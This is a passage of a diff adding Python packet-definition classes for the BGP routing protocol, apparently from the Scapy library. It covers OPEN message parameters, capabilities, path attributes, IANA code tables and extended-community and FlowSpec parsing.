+        ByteEnumField("code", 3, _capabilities),
+        ByteField("length", None),
+        BGPCapORFBlockPacketListField(
+            "orf",
+            [],
+            BGPCapORFBlock,
+            length_from=lambda p: p.length
+        )
+    ]
+
+
+#
+# Graceful Restart capability
+#
+
+gr_address_family_flags = {
+    128: "Forwarding state preserved (0x80: F bit set)"
+}
+
+
+class BGPCapGracefulRestart(BGPCapability):
+    """
+    This class provides an implementation of the Graceful Restart
+    capability.
+    References: RFC 4724
+    """
+
+    class GRTuple(Packet):
+
+        """Tuple <AFI, SAFI, Flags for address family>"""
+        name = "<AFI, SAFI, Flags for address family>"
+        fields_desc = [ShortEnumField("afi", 0, address_family_identifiers),
+                       ByteEnumField("safi", 0, subsequent_afis),
+                       ByteEnumField("flags", 0, gr_address_family_flags)]
+
+    name = "Graceful Restart Capability"
+    fields_desc = [ByteEnumField("code", 64, _capabilities),
+                   ByteField("length", None),
+                   BitField("restart_flags", 0, 4),
+                   BitField("restart_time", 0, 12),
+                   PacketListField("entries", [], GRTuple)]
+
+
+#
+# Support for 4-octet AS number capability
+#
+
+class BGPCapFourBytesASN(BGPCapability):
+    """
+    This class provides an implementation of the 4-octet AS number
+    capability.
+    References: RFC 4893
+    """
+
+    name = "Support for 4-octet AS number capability"
+    fields_desc = [ByteEnumField("code", 65, _capabilities),
+                   ByteField("length", 4),
+                   IntField("asn", 0)]
+
+
+#
+# Authentication Information optional parameter.
+#
+
+class BGPAuthenticationInformation(Packet):
+
+    """
+    Provides an implementation of the Authentication Information optional
+    parameter, which is now obsolete.
+    References: RFC 1771, RFC 1654, RFC 4271
+    """
+
+    name = "BGP Authentication Data"
+    fields_desc = [ByteField("authentication_code", 0),
+                   StrField("authentication_data", None)]
+
+
+#
+# Optional Parameter.
+#
+
+
+class BGPOptParamPacketListField(PacketListField):
+    """
+    PacketListField handling the optional parameters (OPEN message).
+    """
+
+    def getfield(self, pkt, s):
+        lst = []
+
+        length = 0
+        if self.length_from is not None:
+            length = self.length_from(pkt)
+        remain = s
+        if length is not None:
+            remain, ret = s[:length], s[length:]
+
+        while remain:
+            param_len = orb(remain[1])  # Get param length
+            current = remain[:2 + param_len]
+            remain = remain[2 + param_len:]
+            packet = self.m2i(pkt, current)
+            lst.append(packet)
+
+        return remain + ret, lst
+
+
+class BGPOptParam(Packet):
+    """
+    Provides an implementation the OPEN message optional parameters.
+    References: RFC 4271
+    """
+
+    name = "Optional parameter"
+    fields_desc = [
+        ByteEnumField("param_type", 2, optional_parameter_codes),
+        ByteField("param_length", None),
+        ConditionalField(
+            PacketField(
+                "param_value",
+                None,
+                BGPCapability
+            ),
+            lambda p: p.param_type == 2
+        ),
+        # It"s obsolete, but one can use it provided that
+        # param_type == 1.
+        ConditionalField(
+            PacketField(
+                "authentication_data",
+                None,
+                BGPAuthenticationInformation
+            ),
+            lambda p: p.param_type == 1
+        )
+    ]
+
+    def post_build(self, p, pay):
+        length = None
+        packet = p
+        if self.param_length is None:
+            if self.param_value is None and self.authentication_data is None:
+                length = 0
+            else:
+                length = len(p) - \
+                    2  # parameter type (1 byte) - parameter length (1 byte)
+            packet = chb(p[0]) + chb(length)
+            if (self.param_type == 2 and self.param_value is not None) or\
+                    (self.param_type == 1 and self.authentication_data is not None):
+                packet = packet + p[2:]
+
+        return packet + pay
+
+
+#
+# OPEN
+#
+
+class BGPOpen(BGP):
+    """
+    OPEN messages are exchanged in order to open a new BGP session.
+    References: RFC 4271
+    """
+
+    name = "OPEN"
+    fields_desc = [
+        ByteField("version", 4),
+        ShortField("my_as", 0),
+        ShortField("hold_time", 0),
+        IPField("bgp_id", "0.0.0.0"),
+        FieldLenField(
+            "opt_param_len",
+            None,
+            length_of="opt_params",
+            fmt="!B"
+        ),
+        BGPOptParamPacketListField(
+            "opt_params",
+            [],
+            BGPOptParam,
+            length_from=lambda p: p.opt_param_len
+        )
+    ]
+
+    def post_build(self, p, pay):
+        if self.opt_param_len is None:
+            length = len(p) - 10  # 10 is regular length with no additional
+            # options
+            p = p[:9] + struct.pack("!B", length) + p[10:]
+        return p + pay
+
+
+#
+# UPDATE
+#
+
+#
+# Path attributes
+#
+
+#
+# Dictionaries
+
+path_attributes = {
+    0: "Reserved",
+    1: "ORIGIN",  # RFC 4271
+    2: "AS_PATH",  # RFC 4271
+    3: "NEXT_HOP",  # RFC 4271
+    4: "MULTI_EXIT_DISC",  # RFC 4271
+    5: "LOCAL_PREF",  # RFC 4271
+    6: "ATOMIC_AGGREGATE",  # RFC 4271
+    7: "AGGREGATOR",  # RFC 4271
+    8: "COMMUNITY",  # RFC 1997
+    9: "ORIGINATOR_ID",  # RFC 4456
+    10: "CLUSTER_LIST",  # RFC 4456
+    11: "DPA (deprecated)",  # RFC 6938
+    12: "ADVERTISER  (Historic) (deprecated)",  # RFC 4223, RFC 6938
+    13: "RCID_PATH / CLUSTER_ID (Historic) (deprecated)",  # RFC 4223, RFC 6938
+    14: "MP_REACH_NLRI",  # RFC 4760
+    15: "MP_UNREACH_NLRI",  # RFC 4760
+    16: "EXTENDED COMMUNITIES",  # RFC 4360
+    17: "AS4_PATH",  # RFC 6793
+    18: "AS4_AGGREGATOR",  # RFC 6793
+    19: "SAFI Specific Attribute (SSA) (deprecated)",  # draft-kapoor-nalawade-idr-bgp-ssa-00,
+    # draft-nalawade-idr-mdt-safi-00, draft-wijnands-mt-discovery-00
+    20: "Connector Attribute (deprecated)",  # RFC 6037
+    21: "AS_PATHLIMIT (deprecated)",  # draft-ietf-idr-as-pathlimit
+    22: "PMSI_TUNNEL",  # RFC 6514
+    23: "Tunnel Encapsulation Attribute",  # RFC 5512
+    24: "Traffic Engineering",  # RFC 5543
+    25: "IPv6 Address Specific Extended Community",  # RFC 5701
+    26: "AIGP",  # RFC 7311
+    27: "PE Distinguisher Labels",  # RFC 6514
+    28: "BGP Entropy Label Capability Attribute (deprecated)",  # RFC 6790, RFC 7447
+    29: "BGP-LS Attribute",  # RFC 7752
+    40: "BGP Prefix-SID",  # (TEMPORARY - registered 2015-09-30, expires 2016-09-30)
+    # draft-ietf-idr-bgp-prefix-sid
+    128: "ATTR_SET",  # RFC 6368
+    255: "Reserved for development"
+}
+
+# http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xml
+attributes_flags = {
+    1: 0x40,    # ORIGIN
+    2: 0x40,    # AS_PATH
+    3: 0x40,    # NEXT_HOP
+    4: 0x80,    # MULTI_EXIT_DISC
+    5: 0x40,    # LOCAL_PREF
+    6: 0x40,    # ATOMIC_AGGREGATE
+    7: 0xc0,    # AGGREGATOR
+    8: 0xc0,    # COMMUNITIES (RFC 1997)
+    9: 0x80,    # ORIGINATOR_ID (RFC 4456)
+    10: 0x80,   # CLUSTER_LIST (RFC 4456)
+    11: 0xc0,   # DPA (RFC 6938)
+    12: 0x80,   # ADVERTISER (RFC 1863, RFC 4223)
+    13: 0x80,   # RCID_PATH (RFC 1863, RFC 4223)
+    14: 0x80,   # MP_REACH_NLRI (RFC 4760)
+    15: 0x80,   # MP_UNREACH_NLRI (RFC 4760)
+    16: 0xc0,   # EXTENDED_COMMUNITIES (RFC 4360)
+    17: 0xc0,   # AS4_PATH (RFC 6793)
+    18: 0xc0,   # AS4_AGGREGATOR (RFC 6793)
+    19: 0xc0,   # SSA (draft-kapoor-nalawade-idr-bgp-ssa-00)
+    20: 0xc0,   # Connector (RFC 6037)
+    21: 0xc0,   # AS_PATHLIMIT (draft-ietf-idr-as-pathlimit)
+    22: 0xc0,   # PMSI_TUNNEL (RFC 6514)
+    23: 0xc0,   # Tunnel Encapsulation (RFC 5512)
+    24: 0x80,   # Traffic Engineering (RFC 5543)
+    25: 0xc0,   # IPv6 Address Specific Extended Community (RFC 5701)
+    26: 0x80,   # AIGP (RFC 7311)
+    27: 0xc0,   # PE Distinguisher Labels (RFC 6514)
+    28: 0xc0,   # BGP Entropy Label Capability Attribute
+    29: 0x80,   # BGP-LS Attribute
+    40: 0xc0,   # BGP Prefix-SID
+    128: 0xc0   # ATTR_SET (RFC 6368)
+}
+
+
+class BGPPathAttrPacketListField(PacketListField):
+    """
+    PacketListField handling the path attributes (UPDATE message).
+    """
+
+    def getfield(self, pkt, s):
+        lst = []
+        length = 0
+
+        if self.length_from is not None:
+            length = self.length_from(pkt)
+        ret = ""
+        remain = s
+        if length is not None:
+            remain, ret = s[:length], s[length:]
+
+        while remain:
+            #
+            # Get the path attribute flags
+            flags = orb(remain[0])
+
+            attr_len = 0
+            if has_extended_length(flags):
+                attr_len = struct.unpack("!H", remain[2:4])[0]
+                current = remain[:4 + attr_len]
+                remain = remain[4 + attr_len:]
+            else:
+                attr_len = orb(remain[2])
+                current = remain[:3 + attr_len]
+                remain = remain[3 + attr_len:]
+
+            packet = self.m2i(pkt, current)
+            lst.append(packet)
+
+        return remain + ret, lst
+
+
+#
+# ORIGIN
+#
+
+class BGPPAOrigin(Packet):
+
+    """
+    Packet handling the ORIGIN attribute value.
+    References: RFC 4271
+    """
+
+    name = "ORIGIN"
+    fields_desc = [
+        ByteEnumField("origin", 0, {0: "IGP", 1: "EGP", 2: "INCOMPLETE"})]
+
+
+#
+# AS_PATH (2 bytes and 4 bytes)
+#
+
+as_path_segment_types = {
+    # RFC 4271
+    1: "AS_SET",
+    2: "AS_SEQUENCE",
+
+    # RFC 5065
+    3: "AS_CONFED_SEQUENCE",
+    4: "AS_CONFED_SET"
+}
+
+
+class ASPathSegmentPacketListField(PacketListField):
+    """
+    PacketListField handling AS_PATH segments.
+    """
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain:
+            #
+            # Get the segment length
+            segment_length = orb(remain[1])
+
+            if bgp_module_conf.use_2_bytes_asn:
+                current = remain[:2 + segment_length * 2]
+                remain = remain[2 + segment_length * 2:]
+            else:
+                current = remain[:2 + segment_length * 4]
+                remain = remain[2 + segment_length * 4:]
+
+            packet = self.m2i(pkt, current)
+            lst.append(packet)
+
+        return remain, lst
+
+
+class BGPPAASPath(Packet):
+    """
+    Packet handling the AS_PATH attribute value (2 bytes ASNs, for old
+    speakers).
+    References: RFC 4271, RFC 5065
+    """
+
+    AS_TRANS = 23456
+
+    class ASPathSegment(Packet):
+        """
+        Provides an implementation for AS_PATH segments with 2 bytes ASNs.
+        """
+
+        fields_desc = [
+            ByteEnumField("segment_type", 2, as_path_segment_types),
+            ByteField("segment_length", None),
+            FieldListField("segment_value", [], ShortField("asn", 0))
+        ]
+
+        def post_build(self, p, pay):
+            segment_len = self.segment_length
+            if segment_len is None:
+                segment_len = len(self.segment_value)
+                p = chb(p[0]) + chb(segment_len) + p[2:]
+
+            return p + pay
+
+    name = "AS_PATH (RFC 4271)"
+    fields_desc = [
+        ASPathSegmentPacketListField("segments", [], ASPathSegment)]
+
+
+class BGPPAAS4BytesPath(Packet):
+    """
+    Packet handling the AS_PATH attribute value (4 bytes ASNs, for new
+    speakers -> ASNs are encoded as IntFields).
+    References: RFC 4893
+    """
+
+    class ASPathSegment(Packet):
+        """
+        Provides an implementation for AS_PATH segments with 4 bytes ASNs.
+        """
+
+        fields_desc = [ByteEnumField("segment_type", 2, as_path_segment_types),
+                       ByteField("segment_length", None),
+                       FieldListField("segment_value", [], IntField("asn", 0))]
+
+        def post_build(self, p, pay):
+            segment_len = self.segment_length
+            if segment_len is None:
+                segment_len = len(self.segment_value)
+                p = chb(p[0]) + chb(segment_len) + p[2:]
+
+            return p + pay
+
+    name = "AS_PATH (RFC 4893)"
+    fields_desc = [
+        ASPathSegmentPacketListField("segments", [], ASPathSegment)]
+
+
+#
+# NEXT_HOP
+#
+
+class BGPPANextHop(Packet):
+    """
+    Packet handling the NEXT_HOP attribute value.
+    References: RFC 4271
+    """
+
+    name = "NEXT_HOP"
+    fields_desc = [IPField("next_hop", "0.0.0.0")]
+
+
+#
+# MULTI_EXIT_DISC
+#
+
+class BGPPAMultiExitDisc(Packet):
+    """
+    Packet handling the MULTI_EXIT_DISC attribute value.
+    References: RFC 4271
+    """
+
+    name = "MULTI_EXIT_DISC"
+    fields_desc = [IntField("med", 0)]
+
+
+#
+# LOCAL_PREF
+#
+
+class BGPPALocalPref(Packet):
+    """
+    Packet handling the LOCAL_PREF attribute value.
+    References: RFC 4271
+    """
+
+    name = "LOCAL_PREF"
+    fields_desc = [IntField("local_pref", 0)]
+
+
+#
+# ATOMIC_AGGREGATE
+#
+
+class BGPPAAtomicAggregate(Packet):
+    """
+    Packet handling the ATOMIC_AGGREGATE attribute value.
+    References: RFC 4271
+    """
+
+    name = "ATOMIC_AGGREGATE"
+
+
+#
+# AGGREGATOR
+#
+
+class BGPPAAggregator(Packet):
+    """
+    Packet handling the AGGREGATOR attribute value.
+    References: RFC 4271
+    """
+
+    name = "AGGREGATOR"
+    fields_desc = [ShortField("aggregator_asn", 0),
+                   IPField("speaker_address", "0.0.0.0")]
+
+
+#
+# COMMUNITIES
+#
+
+# http://www.iana.org/assignments/bgp-well-known-communities/bgp-well-known-communities.xml
+well_known_communities = {
+    0xFFFFFF01: "NO_EXPORT",  # RFC 1997
+    0xFFFFFF02: "NO_ADVERTISE",  # RFC 1997
+    0xFFFFFF03: "NO_EXPORT_SUBCONFED",  # RFC 1997
+    0xFFFFFF04: "NOPEER",  # RFC 3765
+    0xFFFF0000: "planned-shut",  # draft-francois-bgp-gshut
+    0xFFFF0001: "ACCEPT-OWN",  # RFC 7611
+    0xFFFF0002: "ROUTE_FILTER_TRANSLATED_v4",  # draft-l3vpn-legacy-rtc
+    0xFFFF0003: "ROUTE_FILTER_v4",  # draft-l3vpn-legacy-rtc
+    0xFFFF0004: "ROUTE_FILTER_TRANSLATED_v6",  # draft-l3vpn-legacy-rtc
+    0xFFFF0005: "ROUTE_FILTER_v6",  # draft-l3vpn-legacy-rtc
+    0xFFFF0006: "LLGR_STALE",  # draft-uttaro-idr-bgp-persistence
+    0xFFFF0007: "NO_LLGR",  # draft-uttaro-idr-bgp-persistence
+    0xFFFF0008: "accept-own-nexthop",  # Ashutosh_Grewal
+}
+
+
+class BGPPACommunity(Packet):
+    """
+    Packet handling the COMMUNITIES attribute value.
+    References: RFC 1997
+    """
+
+    name = "COMMUNITIES"
+    fields_desc = [IntEnumField("community", 0, well_known_communities)]
+
+
+#
+# ORIGINATOR_ID
+#
+
+class BGPPAOriginatorID(Packet):
+    """
+    Packet handling the ORIGINATOR_ID attribute value.
+    References: RFC 4456
+    """
+
+    name = "ORIGINATOR_ID"
+    fields_desc = [IPField("originator_id", "0.0.0.0")]
+
+
+#
+# CLUSTER_LIST
+#
+
+class BGPPAClusterList(Packet):
+    """
+    Packet handling the CLUSTER_LIST attribute value.
+    References: RFC 4456
+    """
+
+    name = "CLUSTER_LIST"
+    fields_desc = [
+        FieldListField("cluster_list", [], IntField("cluster_id", 0))]
+
+
+#
+# EXTENDED COMMUNITIES (RFC 4360)
+#
+
+# BGP Transitive Extended Community Types
+# http://www.iana.org/assignments/bgp-extended-communities/bgp-extended-communities.xhtml#transitive
+_ext_comm_types = {
+    0x00: "Transitive Two-Octet AS-Specific Extended Community",  # RFC 7153
+    0x01: "Transitive IPv4-Address-Specific Extended Community",  # RFC 7153
+    0x02: "Transitive Four-Octet AS-Specific Extended Community",  # RFC 7153
+    0x03: "Transitive Opaque Extended Community",  # RFC 7153
+    0x04: "QoS Marking",  # Thomas_Martin_Knoll
+    0x05: "CoS Capability",  # Thomas_Martin_Knoll
+    0x06: "EVPN",  # RFC 7153
+    0x07: "Unassigned",
+    0x08: "Flow spec redirect/mirror to IP next-hop",  # draft-simpson-idr-flowspec-redirect
+
+    # BGP Non-Transitive Extended Community Types
+    0x40: "Non-Transitive Two-Octet AS-Specific Extended Community",  # RFC 7153
+    0x41: "Non-Transitive IPv4-Address-Specific Extended Community",  # RFC 7153
+    0x42: "Non-Transitive Four-Octet AS-Specific Extended Community",  # RFC 7153
+    0x43: "Non-Transitive Opaque Extended Community",  # RFC 7153
+    0x44: "QoS Marking",  # Thomas_Martin_Knoll
+
+    0x80: "Generic Transitive Experimental Use Extended Community",  # RFC 7153
+    0x81: "Generic Transitive Experimental Use Extended Community Part 2",  # RFC 7674
+    0x82: "Generic Transitive Experimental Use Extended Community Part 3",  # RFC 7674
+}
+
+# EVPN Extended Community Sub-Types
+_ext_comm_evpn_subtypes = {
+    0x00: "MAC Mobility",  # RFC 7432
+    0x01: "ESI Label",  # RFC 7432
+    0x02: "ES-Import Route Target",  # RFC 7432
+    0x03: "EVPN Router\"s MAC Extended Community",
+    # draft-sajassi-l2vpn-evpn-inter-subnet-forwarding
+    0x04: "Layer 2 Extended Community",  # draft-ietf-bess-evpn-vpws
+    0x05: "E-TREE Extended Community",  # draft-ietf-bess-evpn-etree
+    0x06: "DF Election Extended Community",  # draft-ietf-bess-evpn-df-election
+    0x07: "I-SID Extended Community",  # draft-sajassi-bess-evpn-virtual-eth-segment
+}
+
+# Transitive Two-Octet AS-Specific Extended Community Sub-Types
+_ext_comm_trans_two_octets_as_specific_subtypes = {
+    0x02: "Route Target",  # RFC 4360
+    0x03: "Route Origin",  # RFC 4360
+    0x04: "Unassigned",  # RFC 4360
+    0x05: "OSPF Domain Identifier",  # RFC 4577
+    0x08: "BGP Data Collection",  # RFC 4384
+    0x09: "Source AS",  # RFC 6514
+    0x0a: "L2VPN Identifier",  # RFC 6074
+    0x0010: "Cisco VPN-Distinguisher",  # Eric_Rosen
+}
+
+# Non-Transitive Two-Octet AS-Specific Extended Community Sub-Types
+_ext_comm_non_trans_two_octets_as_specific_subtypes = {
+    0x04: "Link Bandwidth Extended Community",  # draft-ietf-idr-link-bandwidth-00
+    0x80: "Virtual-Network Identifier Extended Community",
+    # draft-drao-bgp-l3vpn-virtual-network-overlays
+}
+
+# Transitive Four-Octet AS-Specific Extended Community Sub-Types
+_ext_comm_trans_four_octets_as_specific_subtypes = {
+    0x02: "Route Target",  # RFC 5668
+    0x03: "Route Origin",  # RFC 5668
+    0x04: "Generic",  # draft-ietf-idr-as4octet-extcomm-generic-subtype
+    0x05: "OSPF Domain Identifier",  # RFC 4577
+    0x08: "BGP Data Collection",  # RFC 4384
+    0x09: "Source AS",  # RFC 6514
+    0x10: "Cisco VPN Identifier",  # Eric_Rosen
+}
+
+# Non-Transitive Four-Octet AS-Specific Extended Community Sub-Types
+_ext_comm_non_trans_four_octets_as_specific_subtypes = {
+    0x04: "Generic",  # draft-ietf-idr-as4octet-extcomm-generic-subtype
+}
+
+# Transitive IPv4-Address-Specific Extended Community Sub-Types
+_ext_comm_trans_ipv4_addr_specific_subtypes = {
+    0x02: "Route Target",  # RFC 4360
+    0x03: "Route Origin",  # RFC 4360
+    0x05: "OSPF Domain Identifier",  # RFC 4577
+    0x07: "OSPF Route ID",  # RFC 4577
+    0x0a: "L2VPN Identifier",  # RFC 6074
+    0x0b: "VRF Route Import",  # RFC 6514
+    0x0c: "Flow-spec Redirect to IPv4",  # draft-ietf-idr-flowspec-redirect
+    0x10: "Cisco VPN-Distinguisher",  # Eric_Rosen
+    0x12: "Inter-Area P2MP Segmented Next-Hop",  # RFC 7524
+}
+
+# Non-Transitive IPv4-Address-Specific Extended Community Sub-Types
+_ext_comm_non_trans_ipv4_addr_specific_subtypes = {}
+
+# Transitive Opaque Extended Community Sub-Types
+_ext_comm_trans_opaque_subtypes = {
+    0x01: "Cost Community",  # draft-ietf-idr-custom-decision
+    0x03: "CP-ORF",  # RFC 7543
+    0x04: "Extranet Source Extended Community",  # RFC 7900
+    0x05: "Extranet Separation Extended Community",  # RFC 7900
+    0x06: "OSPF Route Type",  # RFC 4577
+    0x07: "Additional PMSI Tunnel Attribute Flags",  # RFC 7902
+    0x0b: "Color Extended Community",  # RFC 5512
+    0x0c: "Encapsulation Extended Community",  # RFC 5512
+    0x0d: "Default Gateway",  # Yakov_Rekhter
+    0x0e: "Point-to-Point-to-Multipoint (PPMP) Label",  # Rishabh_Parekh
+    0x13: "Route-Target Record",  # draft-ietf-bess-service-chaining
+    0x14: "Consistent Hash Sort Order",  # draft-ietf-bess-service-chaining
+}
+
+# Non-Transitive Opaque Extended Community Sub-Types
+_ext_comm_non_trans_opaque_subtypes = {
+    0x00: "BGP Origin Validation State",  # draft-ietf-sidr-origin-validation-signaling
+    0x01: "Cost Community",  # draft-ietf-idr-custom-decision
+}
+
+# Generic Transitive Experimental Use Extended Community Sub-Types
+_ext_comm_generic_transitive_exp_subtypes = {
+    0x00: "OSPF Route Type (deprecated)",  # RFC 4577
+    0x01: "OSPF Router ID (deprecated)",  # RFC 4577
+    0x05: "OSPF Domain Identifier (deprecated)",  # RFC 4577
+    0x06: "Flow spec traffic-rate",  # RFC 5575
+    0x07: "Flow spec traffic-action",  # RFC 5575
+    0x08: "Flow spec redirect AS-2byte format",  # RFC 5575, RFC 7674
+    0x09: "Flow spec traffic-remarking",  # RFC 5575
+    0x0a: "Layer2 Info Extended Community",  # RFC 4761
+    0x0b: "E-Tree Info",  # RFC 7796
+}
+
+# Generic Transitive Experimental Use Extended Community Part 2 Sub-Types
+_ext_comm_generic_transitive_exp_part2_subtypes = {
+    0x08: "Flow spec redirect IPv4 format",  # RFC 7674
+}
+
+# Generic Transitive Experimental Use Extended Community Part 3 Sub-Types
+_ext_comm_generic_transitive_exp_part3_subtypes = {
+    0x08: "Flow spec redirect AS-4byte format",  # RFC 7674
+}
+
+# Traffic Action Fields
+_ext_comm_traffic_action_fields = {
+    47: "Terminal Action",  # RFC 5575
+    46: "Sample",  # RFC 5575
+}
+
+# Transitive IPv6-Address-Specific Extended Community Types
+_ext_comm_trans_ipv6_addr_specific_types = {
+    0x0002: "Route Target",  # RFC 5701
+    0x0003: "Route Origin",  # RFC 5701
+    0x0004: "OSPFv3 Route Attributes (DEPRECATED)",  # RFC 6565
+    0x000b: "VRF Route Import",  # RFC 6515, RFC 6514
+    0x000c: "Flow-spec Redirect to IPv6",  # draft-ietf-idr-flowspec-redirect-ip
+    0x0010: "Cisco VPN-Distinguisher",  # Eric_Rosen
+    0x0011: "UUID-based Route Target",  # Dhananjaya_Rao
+    0x0012: "Inter-Area P2MP Segmented Next-Hop",  # RFC 7524
+}
+
+# Non-Transitive IPv6-Address-Specific Extended Community Types
+_ext_comm_non_trans_ipv6_addr_specific_types = {}
+
+
+_ext_comm_subtypes_classes = {
+    0x00: _ext_comm_trans_two_octets_as_specific_subtypes,
+    0x01: _ext_comm_trans_ipv4_addr_specific_subtypes,
+    0x02: _ext_comm_trans_four_octets_as_specific_subtypes,
+    0x03: _ext_comm_trans_opaque_subtypes,
+    0x06: _ext_comm_evpn_subtypes,
+    0x40: _ext_comm_non_trans_two_octets_as_specific_subtypes,
+    0x41: _ext_comm_non_trans_ipv4_addr_specific_subtypes,
+    0x42: _ext_comm_non_trans_four_octets_as_specific_subtypes,
+    0x43: _ext_comm_non_trans_opaque_subtypes,
+    0x80: _ext_comm_generic_transitive_exp_subtypes,
+    0x81: _ext_comm_generic_transitive_exp_part2_subtypes,
+    0x82: _ext_comm_generic_transitive_exp_part3_subtypes,
+}
+
+
+#
+# Extended Community "templates"
+#
+
+class BGPPAExtCommTwoOctetASSpecific(Packet):
+    """
+    Packet handling the Two-Octet AS Specific Extended Community attribute
+    value.
+    References: RFC 4360
+    """
+
+    name = "Two-Octet AS Specific Extended Community"
+    fields_desc = [
+        ShortField("global_administrator", 0), IntField("local_administrator", 0)]
+
+
+class BGPPAExtCommFourOctetASSpecific(Packet):
+    """
+    Packet handling the Four-Octet AS Specific Extended Community
+    attribute value.
+    References: RFC 5668
+    """
+
+    name = "Four-Octet AS Specific Extended Community"
+    fields_desc = [
+        IntField("global_administrator", 0), ShortField("local_administrator", 0)]
+
+
+class BGPPAExtCommIPv4AddressSpecific(Packet):
+    """
+    Packet handling the IPv4 Address Specific Extended Community attribute
+    value.
+    References: RFC 4360
+    """
+
+    name = "IPv4 Address Specific Extended Community"
+    fields_desc = [
+        IntField("global_administrator", 0), ShortField("local_administrator", 0)]
+
+
+class BGPPAExtCommOpaque(Packet):
+    """
+    Packet handling the Opaque Extended Community attribute value.
+    References: RFC 4360
+    """
+
+    name = "Opaque Extended Community"
+    fields_desc = [StrFixedLenField("value", "", length=6)]
+
+
+#
+# FlowSpec related extended communities
+#
+
+class BGPPAExtCommTrafficRate(Packet):
+    """
+    Packet handling the (FlowSpec) "traffic-rate" extended community.
+    References: RFC 5575
+    """
+
+    name = "FlowSpec traffic-rate extended community"
+    fields_desc = [
+        ShortField("id", 0),
+        IEEEFloatField("rate", 0)
+    ]
+
+
+class BGPPAExtCommTrafficAction(Packet):
+    """
+    Packet handling the (FlowSpec) "traffic-action" extended community.
+    References: RFC 5575
+    """
+
+    name = "FlowSpec traffic-action extended community"
+    fields_desc = [
+        BitField("reserved", 0, 46),
+        BitField("sample", 0, 1),
+        BitField("terminal_action", 0, 1)
+    ]
+
+
+class BGPPAExtCommRedirectAS2Byte(Packet):
+    """
+    Packet handling the (FlowSpec) "redirect AS-2byte" extended community
+    (RFC 7674).
+    References: RFC 7674
+    """
+
+    name = "FlowSpec redirect AS-2byte extended community"
+    fields_desc = [
+        ShortField("asn", 0),
+        IntField("value", 0)
+    ]
+
+
+class BGPPAExtCommRedirectIPv4(Packet):
+    """
+    Packet handling the (FlowSpec) "redirect IPv4" extended community.
+    (RFC 7674).
+    References: RFC 7674
+    """
+
+    name = "FlowSpec redirect IPv4 extended community"
+    fields_desc = [
+        IntField("ip_addr", 0),
+        ShortField("value", 0)
+    ]
+
+
+class BGPPAExtCommRedirectAS4Byte(Packet):
+    """
+    Packet handling the (FlowSpec) "redirect AS-4byte" extended community.
+    (RFC 7674).
+    References: RFC 7674
+    """
+
+    name = "FlowSpec redirect AS-4byte extended community"
+    fields_desc = [
+        IntField("asn", 0),
+        ShortField("value", 0)
+    ]
+
+
+class BGPPAExtCommTrafficMarking(Packet):
+    """
+    Packet handling the (FlowSpec) "traffic-marking" extended community.
+    References: RFC 5575
+    """
+
+    name = "FlowSpec traffic-marking extended community"
+    fields_desc = [
+        BitEnumField("dscp", 48, 48, _ext_comm_traffic_action_fields)
+    ]
+
+
+class _ExtCommValuePacketField(PacketField):
+    """
+    PacketField handling Extended Communities "value parts".
+    """
+
+    __slots__ = ["type_from"]
+
+    def __init__(self, name, default, cls, remain=0, type_from=(0, 0)):
+        PacketField.__init__(self, name, default, cls, remain)
+        self.type_from = type_from
+
+    def m2i(self, pkt, m):
+        ret = None
+        type_high, type_low = self.type_from(pkt)
+
+        if type_high == 0x00 or type_high == 0x40:
+            # Two-Octet AS Specific Extended Community
+            ret = BGPPAExtCommTwoOctetASSpecific(m)
+
+        elif type_high == 0x01 or type_high == 0x41:
+            # IPv4 Address Specific
+            ret = BGPPAExtCommIPv4AddressSpecific(m)
+
+        elif type_high == 0x02 or type_high == 0x42:
+            # Four-octet AS Specific Extended Community
+            ret = BGPPAExtCommFourOctetASSpecific(m)
+
+        elif type_high == 0x03 or type_high == 0x43:
+            # Opaque
+            ret = BGPPAExtCommOpaque(m)
+
+        elif type_high == 0x80:
+            # FlowSpec
+            if type_low == 0x06:
+                ret = BGPPAExtCommTrafficRate(m)
+            elif type_low == 0x07:
+                ret = BGPPAExtCommTrafficAction(m)
+            elif type_low == 0x08:
+                ret = BGPPAExtCommRedirectAS2Byte(m)
+            elif type_low == 0x09:
+                ret = BGPPAExtCommTrafficMarking(m)
+
+        elif type_high == 0x81:
+            # FlowSpec
+            if type_low == 0x08:
+                ret = BGPPAExtCommRedirectIPv4(m)
+
+        elif type_high == 0x82:
+            # FlowSpec
+            if type_low == 0x08:
+                ret = BGPPAExtCommRedirectAS4Byte(m)
+
+        else:
+            ret = conf.raw_layer(m)
+
+        return ret
+
+
+class BGPPAIPv6AddressSpecificExtComm(Packet):
+    """
+    Provides an implementation of the IPv6 Address Specific Extended
+    Community attribute. This attribute is not defined using the existing
+    BGP Extended Community attribute (see the RFC 5701 excerpt below).
+    References: RFC 5701
+    """
+
+    name = "IPv6 Address Specific Extended Community"
+    fields_desc = [
+        IP6Field("global_administrator", "::"), ShortField("local_administrator", 0)]
+
+
+def _get_ext_comm_subtype(type_high):
+    """
+    Returns a ByteEnumField with the right sub-types dict for a given community.
+    http://www.iana.org/assignments/bgp-extended-communities/bgp-extended-communities.xhtml
+    """
+
+    return _ext_comm_subtypes_classes.get(type_high, {})
+
+
+class _TypeLowField(ByteField):
+    """
+    Field used to retrieve "dynamically" the right sub-type dict.
+    """
+
+    __slots__ = ["enum_from"]
+
+    def __init__(self, name, default, enum_from=None):
+        ByteField.__init__(self, name=name, default=default)
+        self.enum_from = enum_from
+
+    def i2repr(self, pkt, i):
+        enum = self.enum_from(pkt)
+        return enum.get(i, i)
+
+
+class BGPPAExtCommunity(Packet):
+    """
+    Provides an implementation of the Extended Communities attribute.
+    References: RFC 4360
+    """
+
+    name = "EXTENDED_COMMUNITY"
+    fields_desc = [
+        ByteEnumField("type_high", 0, _ext_comm_types),
+        _TypeLowField(
+            "type_low",
+            0,
+            enum_from=lambda x: _get_ext_comm_subtype(x.type_high)
+        ),
+        _ExtCommValuePacketField(
+            "value",
+            None,
+            Packet,
+            type_from=lambda x: (x.type_high, x.type_low)
+        )
+    ]
+
+    def post_build(self, p, pay):
+        if self.value is None:
+            p = p[:2]
+        return p + pay
+
+
+class _ExtCommsPacketListField(PacketListField):
+    """
+    PacketListField handling a list of extended communities.
+    """
+
+    def getfield(self, pkt, s):
+        lst = []
+        length = len(s)
+        remain = s[:length]
+
+        while remain:
+            current = remain[:8]
+            remain = remain[8:]
+            packet = self.m2i(pkt, current)
+            lst.append(packet)
+
+        return remain, lst
+
+
+class BGPPAExtComms(Packet):
+    """
+    Packet handling the multiple extended communities.
+    """
+
+    name = "EXTENDED_COMMUNITIES"
